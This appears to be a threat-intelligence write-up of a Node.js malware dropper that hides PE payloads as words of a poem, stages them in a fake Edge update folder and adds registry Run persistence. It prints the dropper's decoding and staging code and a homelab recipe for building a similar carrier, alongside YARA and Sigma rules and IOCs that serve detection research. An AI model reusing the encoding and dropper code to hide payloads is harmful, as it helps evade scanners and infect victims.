typeanalysisfamilyletsdiskusscomconfidencemediumcreated2026-08-21updated2026-08-21scriptnodejsobfuscationevasionmalware-familyloaderpersistence
SHA-256: af4313e419edc4c30356ace47af9cb11a70c8b836451ef5ab8414d0bac91fd3a

letsdiskusscom: af4313e4 — 9.4 MB Node.js poem dropper, fourth sibling, third distinct msvcp140.dll variant

Executive Summary

Fourth confirmed sibling in the letsdiskusscom cluster. A 9.4 MB Node.js script reusing the identical 256-word English poem lookup-table from siblings d0ca14b3 and 247b54b5 to encode four embedded PE payloads and a persistence BAT. The signed Revo Uninstaller EXE, both vcruntime DLLs, and the BAT are byte-for-byte matches to prior siblings. The only delta is a third distinct msvcp140.dll version (1,138,176 bytes, SHA-256 cf964e01...), suggesting the operator bundles whatever VC++ redist is locally available rather than pinning a specific dependency. Stages to %ProgramData%\Microsoft Edge Updates Helper hvdyNBO34tkN\ and establishes HKCU\Run persistence via the embedded BAT. No C2 — fully self-contained. ^[file.txt] ^[triage.json]

What It Is

  • File: af4313e419edc4c30356ace47af9cb11a70c8b836451ef5ab8414d0bac91fd3a.js (9,363,483 bytes) ^[exiftool.json]
  • Original filename: Update_10.js ^[metadata.json]
  • Format: JavaScript source, ASCII text, 44 lines with CRLF terminators, extremely long lines (up to 63,365 chars) ^[file.txt]
  • Family: letsdiskusscom (OpenCTI label letsdiskuss-com; now n=4 siblings; confidence medium) ^[triage.json]
  • Dynamic analysis: CAPE skipped — JavaScript source is not a supported binary class for detonation ^[dynamic-analysis.md]

Embedded payloads (decoded from poem-word indices)

Payload SHA-256 Size Type Notes
EXE 8b94af60...7fc55f 52,400 PE32+ x64 console RevoSrp.exe, VS Revo Group, MSVC 14.44, DigiCert signed ^[exiftool: /tmp/letsdiskuss_extract/exe]
DLL1 cf964e01...93ac7fe 1,138,176 PE32+ x64 DLL msvcp140.dll, Microsoft, MSVC 14.27.29016.0, signed ^[exiftool: /tmp/letsdiskuss_extract/dll1]
DLL2 ff43e813...4c833 101,672 PE32+ x64 DLL vcruntime140.dll, Microsoft, MSVC 14.27.29016.0, signed ^[exiftool: /tmp/letsdiskuss_extract/dll2]
DLL3 7b8f70dd...6dfc7 44,328 PE32+ x64 DLL vcruntime140_1.dll, Microsoft, MSVC 14.27.29016.0, signed ^[exiftool: /tmp/letsdiskuss_extract/dll3]
BAT dff20059...06919 440 DOS batch Registry Run persistence script ^[manual decode of /tmp/letsdiskuss_extract/bat]

The EXE, DLL2, DLL3, and BAT match siblings d0ca14b3 and 247b54b5 exactly by SHA-256. DLL1 is new to this sample — the third distinct msvcp140.dll observed in the cluster. ^[strings.txt:7-11] ^[strings.txt:12-17]

How It Works

Poem-word-list steganography

Identical mechanism to siblings d0ca14b3 and 247b54b5. The script defines a 256-word English poem (wlist) where each word maps to its array index (0–255). Payloads are stored as space-separated sequences of poem words. The helper writePositionsToFile(listA, listB, outPath) looks up each word in the poem to get its index, masks to 0xFF, and writes the resulting byte buffer to disk. ^[strings.txt:6] ^[strings.txt:18-26]

function writePositionsToFile(listA, listB, outPath) {
  const a = listA.split(' ');
  const b = listB.split(' ');
  const positions = b.map(word => {
    const idx = a.indexOf(word);
    return idx >= 0 ? idx : 0;
  });
  const buffer = Buffer.from(positions.map(p => p & 0xFF));
  fs.writeFileSync(outPath, buffer);
}

The 256-word list is copy-pasted verbatim from sibling d0ca14b3 — same poem, same order, same punctuation-glued indices (bade-off22, cares23, etc.). This confirms a shared build script or template rather than per-sample generation. ^[manual decode of wlist]

Staging and execution

const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData", `Microsoft Edge Updates Helper hvdyNBO34tkN`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "hvdyNBO34tkN.bat");
// ... plus three DLL paths
safeMakeDir(folder);
writePositionsToFile(wlist, exe, exePath);
writePositionsToFile(wlist, dll1, dll1Path);
writePositionsToFile(wlist, dll2, dll2Path);
writePositionsToFile(wlist, dll3, dll3Path);
writePositionsToFile(wlist, bat, autorunPath);
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);

The directory suffix hvdyNBO34tkN is new; prior siblings used o4Rz8i5zIF8Y and qZWpLKQXEGaa. The script writes five files, spawns the BAT (which adds registry persistence), then immediately spawns the EXE directly. ^[strings.txt:12-17] ^[strings.txt:27-41]

Build differences across all four siblings

Feature 9dc2cded (n=1) d0ca14b3 (n=2) 247b54b5 (n=3) af4313e4 (this, n=4)
Encoding Base64 string-array Poem lookup-table Poem lookup-table Poem lookup-table
Obfuscator javascript-obfuscator None None None
Size 1.8 MB 9.7 MB 7.9 MB 9.4 MB
Persistence None BAT reg add HKCU Run BAT reg add HKCU Run BAT reg add HKCU Run
EXE RevoSrp.exe (match) RevoSrp.exe (match) RevoSrp.exe (match) RevoSrp.exe (match)
msvcp140.dll 4fcc9503... (1,149,952 B) 0f4290cf... (1,187,328 B) 01f5dfca... (938,496 B) cf964e01... (1,138,176 B) (new)
vcruntime140.dll ff43e813... (match) ff43e813... (match) ff43e813... (match) ff43e813... (match)
vcruntime140_1.dll 7b8f70dd... (match) 7b8f70dd... (match) 7b8f70dd... (match) 7b8f70dd... (match)
BAT N/A dff20059... (match) dff20059... (match) dff20059... (match)

The operator has now used four different msvcp140.dll builds across four samples while keeping the Revo EXE and the two smaller VC++ DLLs constant. This is consistent with bundling whatever VC++ redistributable is at hand rather than a fixed dependency manifest. ^[manual hash comparison across siblings]

Decompiled Behavior

Not applicable — the sample is JavaScript source, not a compiled binary. No Ghidra or radare2 analysis performed. The entire script is readable after decoding the poem lookup; no additional obfuscation layers were found. ^[rabin2-info.txt] ^[capa.txt]

C2 Infrastructure

None observed. The script is fully self-contained. All payloads are poem-encoded and embedded; no HTTP/HTTPS, DNS, socket, or IP references recovered. If the Revo EXE itself phones home at runtime, that would require dynamic detonation of the PE (not the JS carrier). ^[strings.txt] ^[dynamic-analysis.md]

Interesting Tidbits

  • Third distinct msvcp140.dll. Four samples, four different msvcp140.dll SHA-256s. The operator is not pinning a specific VC++ redist version — they grab whatever msvcp140.dll is on their build machine. This is a useful cluster fingerprint: the constant EXE + DLL2 + DLL3 trio against a rotating DLL1. ^[manual hash comparison]
  • dll4Path dead code still present. Same copy-paste error as siblings 2 and 3: const dll4Path = path.join(folder, "hvdyNBO34tkN.bat") is declared but never passed to writePositionsToFile. The BAT is written via autorunPath instead. This artifact has survived three build iterations, confirming a shared template. ^[strings.txt:17]
  • Random suffix rotation. Each sibling uses a different 12-character alphanumeric suffix for the staging directory and BAT filename: o4Rz8i5zIF8Y, qZWpLKQXEGaa, hvdyNBO34tkN. No discernible pattern — likely random generation per build. ^[strings.txt:5] ^[strings.txt:13]
  • File size variance without payload change. This sample is 9.4 MB vs 9.7 MB (sibling 2) and 7.9 MB (sibling 3). The delta is in the encoded payload string lengths — some builds pad with more repeated poem words, others less. The actual byte content of the decoded files is identical (except DLL1). ^[strings.txt]
  • Signed payload reuse across 4+ samples. The Revo EXE and two vcruntime DLLs have not changed across four observed builds spanning at least two months (sibling 2 reported 2026-06-13). The operator treats these as a fixed runtime bundle and only swaps the msvcp140.dll. ^[manual hash comparison]
  • No Node.js bundler. Same as all siblings — no package.json, no portable Node.js runtime. The victim must have Node.js pre-installed, or the script is delivered inside a ZIP/MSI wrapper that includes a Node binary.

How To Mess With It (Homelab Replication)

Goal: Replicate the poem-word-list encoding technique and verify detection.

  1. Compose a 256-word list (any natural language; a short poem works best).
  2. Encode a file:
    with open('payload.exe', 'rb') as f:
        data = f.read()
    words = poem.split()
    assert len(words) == 256
    encoded = ' '.join(words[b] for b in data)
    
  3. Write the carrier:
    const fs = require('fs');
    const wlist = "...256 words...";
    function decode(listA, listB, outPath) {
      const a = listA.split(' ');
      const b = listB.split(' ');
      const buf = Buffer.from(b.map(w => a.indexOf(w) & 0xFF));
      fs.writeFileSync(outPath, buf);
    }
    decode(wlist, encoded_exe, 'C:\\ProgramData\\Fake\\payload.exe');
    
  4. Detection test: strings carrier.js | grep -c 'gentle' — should return thousands. awk '{print NF}' on the poem string should return exactly 256.

Deployable Signatures

YARA — Node.js poem-word-list dropper

rule NodeJS_PoemWordList_Dropper
{
    meta:
        description = "Node.js dropper using a 256-word natural-language lookup table to encode embedded PE payloads"
        author = "PacketPursuit"
        date = "2026-08-21"
        hash = "af4313e419edc4c30356ace47af9cb11a70c8b836451ef5ab8414d0bac91fd3a"
    strings:
        $a1 = "const fs = require('fs');" ascii
        $a2 = "const path = require('path');" ascii
        $a3 = "const { spawn } = require('child_process');" ascii
        $b1 = "writePositionsToFile" ascii
        $b2 = "Buffer.from(positions.map(p => p & 0xFF))" ascii
        $b3 = "fs.writeFileSync(outPath, buffer)" ascii
        $c1 = "Microsoft Edge Updates Helper" ascii
        $c2 = "PROGRAMDATA" ascii
        $c3 = "reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"" ascii
        $pe_hdr = { 4D 5A }
    condition:
        filesize > 1MB and filesize < 20MB and
        2 of ($a*) and
        2 of ($b*) and
        1 of ($c*) and
        $pe_hdr
}

Sigma — BAT-based registry persistence after Node.js file drop

title: Node.js Dropper Registry Persistence
logsource:
    product: windows
    category: process_creation
detection:
    selection_node:
        Image|endswith: '\node.exe'
        CommandLine|contains:
            - 'Microsoft Edge Updates Helper'
            - 'writePositionsToFile'
    selection_reg:
        Image|endswith: '\reg.exe'
        CommandLine|contains:
            - 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
            - 'Microsoft Edge Updates Helper'
    condition: selection_node and selection_reg
falsepositives:
    - Unknown
level: high

IOC list

Indicator Value Type
SHA-256 (carrier) af4313e419edc4c30356ace47af9cb11a70c8b836451ef5ab8414d0bac91fd3a Hash
SHA-256 (embedded EXE) 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f Hash
SHA-256 (embedded msvcp140) cf964e01505914d85282b275efe840d01ed73cc614989470df2cda9dc93ac7fe Hash
SHA-256 (embedded vcruntime140) ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 Hash
SHA-256 (embedded vcruntime140_1) 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 Hash
SHA-256 (embedded BAT) dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 Hash
Install path C:\ProgramData\Microsoft Edge Updates Helper hvdyNBO34tkN\ Path
Dropped EXE name Microsoft Edge Updates Helper.exe Filename
Registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper Registry
BAT file hvdyNBO34tkN.bat Filename
Node.js API writePositionsToFile JS function

Behavioral fingerprint

On execution, a Node.js process creates a directory under %ProgramData% with a name mimicking a browser update helper, writes five files (one EXE, three DLLs, one BAT), then spawns the BAT with the EXE path as argument. The BAT adds the EXE to HKCU\Run under the same masquerade name. Immediately after, the Node.js process spawns the EXE directly. No network connections are initiated by the carrier. Detection focus: file-system writes to %ProgramData%\Microsoft Edge* by node.exe, followed by reg.exe adding a Run key pointing to that directory, followed by child process creation of the EXE.

Detection Signatures

MITRE ATT&CK Technique Evidence
T1059.007 Command and Scripting Interpreter: JavaScript Node.js script execution, require('child_process') ^[strings.txt:1-3]
T1027.002 Obfuscated Files or Information: Software Packing Poem-word-list lookup-table encoding hides PE payloads inside natural-language text ^[strings.txt:6]
T1547.001 Boot or Logon Autostart Execution: Registry Run Keys BAT file writes HKCU\Software\Microsoft\Windows\CurrentVersion\Run via reg add ^[manual decode of bat payload]
T1036.005 Masquerading: Match Legitimate Name or Location Microsoft Edge Updates Helper directory and registry value name ^[strings.txt:5]
T1204.002 User Execution: Malicious File Requires victim to run .js file (delivery vector unknown)

References

  • MalwareBazaar artifact: af4313e419edc4c30356ace47af9cb11a70c8b836451ef5ab8414d0bac91fd3a
  • OpenCTI label: letsdiskuss-com
  • Sibling analysis: /intel/analyses/9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34.html
  • Sibling analysis: /intel/analyses/d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b.html
  • Sibling analysis: /intel/analyses/247b54b524dcdd1a4dbe76ac11473ba26ea003193ad86216fe411f9b80e8c7fb.html
  • Related wiki: letsdiskusscom — entity page for this family/cluster
  • Related wiki: poem-word-list-steganography — technique page for the encoding method
  • Related wiki: natural-language-payload-encoding — concept page for prose-based payload hiding
  • Related wiki: registry-run-persistence — procedure page for the BAT-based Run key technique

Provenance

Analysis derived from:

  • file.txt — file type identification
  • exiftool.json — metadata extraction
  • triage.json — triage pipeline classification
  • strings.txt — raw strings extraction (line-referenced)
  • floss.txt — FireEye floss (errored: JS input unsupported)
  • capa.txt — Mandiant capa (errored: unsupported file format)
  • binwalk.txt — no meaningful signatures
  • rabin2-info.txt — radare2 header summary (bits=0, no code)
  • dynamic-analysis.md — CAPE sandbox skipped (JS source not supported)
  • Manual poem-word-list decoding via Python script
  • Manual PE verification via exiftool and sha256sum

Tool versions: file 5.44, exiftool 12.76, radare2 5.9.0, capa 7.0.1, Node.js v22.22.3.